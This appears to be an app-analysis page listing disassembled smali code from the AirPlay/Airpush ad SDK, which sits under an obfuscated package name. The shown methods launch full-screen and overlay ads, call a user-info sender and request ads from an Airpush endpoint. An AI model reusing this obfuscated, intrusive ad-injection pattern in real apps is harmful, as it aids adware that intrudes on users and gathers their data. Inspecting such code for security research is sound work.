17 | const-string v2, "AirplayMraid" | |
19 | const-string v3, "Refresh time changed." | |
21 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
23 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
25 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getRefreshTime()I | |
26 | move-result v2 | |
27 | iput v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
28 | cond_22: | |
29 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String; | |
30 | move-result-object v0 | |
31 | if-eqz v0, :cond_3b | |
33 | const-string v2, "" | |
35 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
36 | move-result v2 | |
37 | if-nez v2, :cond_3b | |
39 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
40 | new-instance v3, Lcom/vxjxu/jkhfn1870/AdView$6; | |
42 | invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/AdView$6;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
44 | invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z | |
45 | cond_3a: return-void | |
46 | cond_3b: | |
47 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
48 | move-result-object v2 | |
50 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
51 | move-result v2 | |
52 | if-eqz v2, :cond_3a | |
54 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
56 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
57 | try_end_4a: goto/16 :goto_3a | |
58 | catch_4b: move-exception v1 | |
60 | const-string v2, "AirplayMraid" | |
61 | new-instance v3, Ljava/lang/StringBuilder; | |
63 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
65 | const-string v4, "JSONExection occured while parsing MRAID json: " | |
67 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
68 | move-result-object v3 | |
70 | invoke-virtual {v1}, Lorg/json/JSONException;->getMessage()Ljava/lang/String; | |
71 | move-result-object v4 | |
73 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
74 | move-result-object v3 | |
76 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
77 | move-result-object v3 | |
79 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
80 | goto/16 :goto_3a | |
81 | catch_69: move-exception v1 | |
83 | const-string v2, "AirplayMraid" | |
84 | new-instance v3, Ljava/lang/StringBuilder; | |
86 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
88 | const-string v4, "" | |
90 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
91 | move-result-object v3 | |
93 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
94 | move-result-object v4 | |
96 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
97 | move-result-object v3 | |
99 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
100 | move-result-object v3 | |
102 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
103 | goto/16 :goto_3a | |
104 | catch_87: move-exception v1 | |
106 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
107 | goto/16 :goto_3a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "jsonObject" # Lorg/json/JSONObject; | |
1 | .prologue | |
2 | try_start_0: new-instance v4, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
4 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
6 | invoke-direct {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;-><init>(Landroid/content/Context;Lorg/json/JSONObject;)V | |
7 | sput-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
9 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
11 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String; | |
12 | move-result-object v0 | |
13 | if-eqz v0, :cond_48 | |
15 | const-string v4, "" | |
17 | invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
18 | move-result v4 | |
19 | if-nez v4, :cond_48 | |
21 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
23 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
24 | new-instance v3, Landroid/content/Intent; | |
26 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
27 | const-class v5, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
29 | invoke-direct {v3, v4, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
31 | const-string v4, "mfpad" | |
33 | invoke-virtual {v3, v4}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
34 | const/high16 v4, 0x10000000 | |
36 | invoke-virtual {v3, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
37 | const/high16 v4, 0x800000 | |
39 | invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
40 | const/high16 v4, 0x20000000 | |
42 | invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
44 | const-string v4, "adtype" | |
46 | const-string v5, "MFP" | |
48 | invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
50 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
52 | invoke-virtual {v4, v3}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
53 | cond_47: return-void | |
54 | cond_48: new-instance v2, Lcom/vxjxu/jkhfn1870/AirPlay$6; | |
56 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$6;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
58 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
60 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
61 | move-result v4 | |
62 | if-eqz v4, :cond_47 | |
64 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
65 | try_end_58: goto/16 :goto_47 | |
66 | catch_59: move-exception v1 | |
68 | invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V | |
69 | goto/16 :goto_47 | |
70 | catch_5e: move-exception v1 | |
72 | const-string v4, "AirplaySDK" | |
73 | new-instance v5, Ljava/lang/StringBuilder; | |
75 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
77 | const-string v6, "Rich Media Full Page: " | |
79 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
80 | move-result-object v5 | |
82 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
83 | move-result-object v6 | |
85 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
86 | move-result-object v5 | |
88 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
89 | move-result-object v5 | |
91 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
92 | goto/16 :goto_47 | |
93 | catch_7c: move-exception v1 | |
95 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
96 | goto/16 :goto_47 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "activity" # Landroid/app/Activity; | |
1 | .param p2, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
2 | .prologue | |
3 | if-eqz p1, :cond_4 | |
4 | if-nez p2, :cond_11 | |
5 | cond_4: | |
6 | const-string v4, "AirplaySDK" | |
8 | const-string v5, "Activity or Adtype is null." | |
10 | invoke-static {v4, v5}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
12 | const-string v4, "Activity or Adtype is null." | |
14 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
15 | goto_10: return-void | |
16 | cond_11: sput-object p1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
18 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
19 | move-result v4 | |
20 | if-eqz v4, :cond_2e | |
22 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
23 | if-eqz v4, :cond_10 | |
25 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
27 | const-string v5, "Another ad is showing on screen." | |
29 | invoke-interface {v4, v5}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdError(Ljava/lang/String;)V |
|
30 | try_end_24: goto/16 :goto_10 | |
31 | catch_25: move-exception v0 | |
33 | const-string v4, "AirplaySDK" | |
35 | const-string v5, "Error occurred in caching ad" | |
37 | invoke-static {v4, v5, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
38 | goto/16 :goto_10 | |
39 | try_start_2e: | |
40 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
41 | if-nez v4, :cond_39 | |
42 | new-instance v4, Lcom/vxjxu/jkhfn1870/Caching; | |
44 | invoke-direct {v4, p1}, Lcom/vxjxu/jkhfn1870/Caching;-><init>(Landroid/content/Context;)V | |
45 | iput-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
46 | cond_39: | |
47 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
49 | invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
50 | move-result v5 | |
51 | aget v4, v4, v5 | |
52 | packed-switch v4, :pswitch_data_f6 | |
54 | const-string v4, "Invalid AdType." | |
56 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
57 | goto/16 :goto_10 | |
58 | pswitch_4a: | |
59 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
61 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
63 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String; | |
64 | move-result-object v2 | |
65 | if-eqz v2, :cond_60 | |
67 | const-string v4, "" | |
69 | invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
70 | move-result v4 | |
71 | if-nez v4, :cond_60 | |
73 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseSmartwallJson(Ljava/lang/String;)V | |
74 | goto/16 :goto_10 | |
75 | cond_60: const/16 v4, 0xcc | |
77 | const-string v5, "SmartWall ad is not available in cache" | |
79 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
80 | goto/16 :goto_10 | |
81 | pswitch_68: | |
82 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
84 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
86 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String; | |
87 | move-result-object v2 | |
88 | if-eqz v2, :cond_7e | |
90 | const-string v4, "" | |
92 | invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
93 | move-result v4 | |
94 | if-nez v4, :cond_7e | |
96 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V | |
97 | goto/16 :goto_10 | |
98 | cond_7e: const/16 v4, 0xcc | |
100 | const-string v5, "Appwall ad is not available in cache" | |
102 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
103 | goto/16 :goto_10 | |
104 | pswitch_86: | |
105 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
107 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
109 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String; | |
110 | move-result-object v2 | |
111 | if-eqz v2, :cond_9d | |
113 | const-string v4, "" | |
115 | invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
116 | move-result v4 | |
117 | if-nez v4, :cond_9d | |
119 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V | |
120 | goto/16 :goto_10 | |
121 | cond_9d: const/16 v4, 0xcc | |
123 | const-string v5, "Landingpage is not available in cache" | |
125 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
126 | goto/16 :goto_10 | |
127 | pswitch_a6: | |
128 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
130 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
132 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String; | |
133 | move-result-object v2 | |
134 | if-eqz v2, :cond_c2 | |
136 | const-string v4, "" | |
138 | invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
139 | move-result v4 | |
140 | if-nez v4, :cond_c2 | |
141 | new-instance v1, Lorg/json/JSONObject; | |
143 | invoke-direct {v1, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
145 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V | |
146 | goto/16 :goto_10 | |
147 | cond_c2: const/16 v4, 0xcc | |
149 | const-string v5, "Interstitial ad is not available in cache" | |
151 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
152 | goto/16 :goto_10 | |
153 | pswitch_cb: new-instance v3, Lcom/vxjxu/jkhfn1870/VideoAd; | |
155 | invoke-direct {v3, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V | |
157 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/VideoAd;->starVideoAdActivity()V | |
158 | goto/16 :goto_10 | |
159 | pswitch_d5: | |
160 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
162 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
164 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String; | |
165 | move-result-object v2 | |
166 | if-eqz v2, :cond_ec | |
168 | const-string v4, "" | |
170 | invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
171 | move-result v4 | |
172 | if-nez v4, :cond_ec | |
174 | invoke-direct {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->showOverlayAd(Ljava/lang/String;)V | |
175 | goto/16 :goto_10 | |
176 | cond_ec: const/16 v4, 0xcc | |
178 | const-string v5, "Overlay ad is not available in cache" | |
180 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
181 | try_end_f3: goto/16 :goto_10 | |
182 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "activity" # Landroid/app/Activity; | |
1 | .param p2, "adCallbackListener" # Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
2 | .param p3, "enableCaching" # Z | |
3 | .prologue | |
4 | const/4 v5, 0x1 | |
5 | const/4 v4, 0x0 | |
7 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer;-><init>()V | |
8 | sput-object p2, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
9 | sput-boolean p3, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
11 | const-string v1, "AirplaySDK" | |
13 | const-string v2, "Starting AirPlay." | |
15 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
16 | if-nez p1, :cond_1f | |
18 | const-string v1, "AirplaySDK" | |
20 | const-string v2, "Activity must not be null." | |
22 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
24 | const-string v1, "Activty must not be null." | |
26 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
27 | goto_1e: return-void | |
28 | cond_1f: instance-of v1, p1, Landroid/app/Activity; | |
29 | if-nez v1, :cond_30 | |
31 | const-string v1, "AirplaySDK" | |
33 | const-string v2, "Invalid activty refrence." | |
35 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
37 | const-string v1, "Invalid Activity reference." | |
39 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
40 | goto/16 :goto_1e | |
41 | cond_30: sput-object p1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
43 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->setContext(Landroid/content/Context;)V | |
45 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V | |
47 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredDetails(Landroid/content/Context;)Z | |
48 | move-result v1 | |
49 | if-eqz v1, :cond_8a | |
51 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z | |
52 | move-result v1 | |
53 | if-eqz v1, :cond_8a | |
54 | sput-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
56 | const-string v1, "AirplaySDK" | |
57 | new-instance v2, Ljava/lang/StringBuilder; | |
59 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
61 | const-string v3, "AppId: " | |
63 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
64 | move-result-object v2 | |
66 | invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String; | |
67 | move-result-object v3 | |
69 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
70 | move-result-object v2 | |
72 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
73 | move-result-object v2 | |
75 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
77 | invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->setSESSION_ID()V | |
78 | new-instance v1, Lcom/vxjxu/jkhfn1870/Caching; | |
80 | invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/Caching;-><init>(Landroid/content/Context;)V | |
81 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching; | |
83 | const-string v1, "sdkPrefs" | |
85 | invoke-virtual {p1, v1, v4}, Landroid/app/Activity;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
86 | move-result-object v0 | |
87 | if-eqz v0, :cond_7c | |
89 | const-string v1, "SDKEnabled" | |
91 | invoke-interface {v0, v1}, Landroid/content/SharedPreferences;->contains(Ljava/lang/String;)Z |
|
92 | move-result v1 | |
93 | if-nez v1, :cond_7f | |
94 | cond_7c: | |
95 | invoke-static {p1, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->enableSDK(Landroid/content/Context;Z)V | |
96 | cond_7f: new-instance v1, Landroid/os/Handler; | |
98 | invoke-direct {v1}, Landroid/os/Handler;-><init>()V | |
99 | sput-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler; | |
101 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendUserInfo()V | |
102 | goto/16 :goto_1e | |
103 | cond_8a: sput-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
104 | goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v4, Ljava/util/ArrayList; | |
3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
4 | new-instance v2, Lorg/apache/http/message/BasicNameValuePair; | |
6 | const-string v3, "banner_type" | |
8 | const-string v5, "rich_media" | |
10 | invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
12 | invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
13 | new-instance v2, Lorg/apache/http/message/BasicNameValuePair; | |
15 | const-string v3, "supports" | |
16 | new-instance v5, Ljava/lang/StringBuilder; | |
18 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
20 | const-string v6, "" | |
22 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
23 | move-result-object v5 | |
25 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
26 | move-result-object v6 | |
28 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject; | |
29 | move-result-object v6 | |
31 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
32 | move-result-object v5 | |
34 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
35 | move-result-object v5 | |
37 | invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
39 | invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
40 | new-instance v2, Lorg/apache/http/message/BasicNameValuePair; | |
42 | const-string v3, "placement_type" | |
44 | const-string v5, "fullpage" | |
46 | invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
48 | invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
49 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
51 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
52 | move-result-object v2 | |
54 | const-string v5, "https://api.airpush.com/mraid/mraidadcall.php" | |
55 | const-wide/16 v6, 0x0 | |
56 | const/4 v8, 0x1 | |
57 | move-object v3, p0 | |
59 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
60 | new-instance v0, Ljava/lang/Thread; | |
62 | const-string v2, "AdView" | |
64 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
66 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
67 | try_end_5b: return-void | |
68 | catch_5c: move-exception v2 | |
69 | goto/16 :goto_5b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
4 | new-instance v4, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v5, "Orientation json: " | |
10 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v4 | |
13 | invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v4 | |
16 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v4 | |
19 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
20 | const/4 v0, 0x1 | |
22 | const-string v2, "none" | |
23 | try_start_19: new-instance v3, Lorg/json/JSONObject; | |
25 | invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
27 | const-string v4, "allowOrientationChange" | |
29 | invoke-virtual {v3, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
30 | move-result v4 | |
31 | if-eqz v4, :cond_4e | |
32 | const/4 v0, 0x1 | |
33 | goto_27: | |
34 | const-string v4, "forceOrientation" | |
36 | invoke-virtual {v3, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
37 | move-result v4 | |
38 | if-eqz v4, :cond_55 | |
40 | const-string v2, "none" | |
41 | goto_31: | |
42 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
44 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
45 | move-result-object v4 | |
47 | invoke-virtual {v4, v2}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setForceOrientation(Ljava/lang/String;)V |
|
49 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
51 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
52 | move-result-object v4 | |
54 | invoke-virtual {v4, v0}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setOrientationChange(Z)V | |
56 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
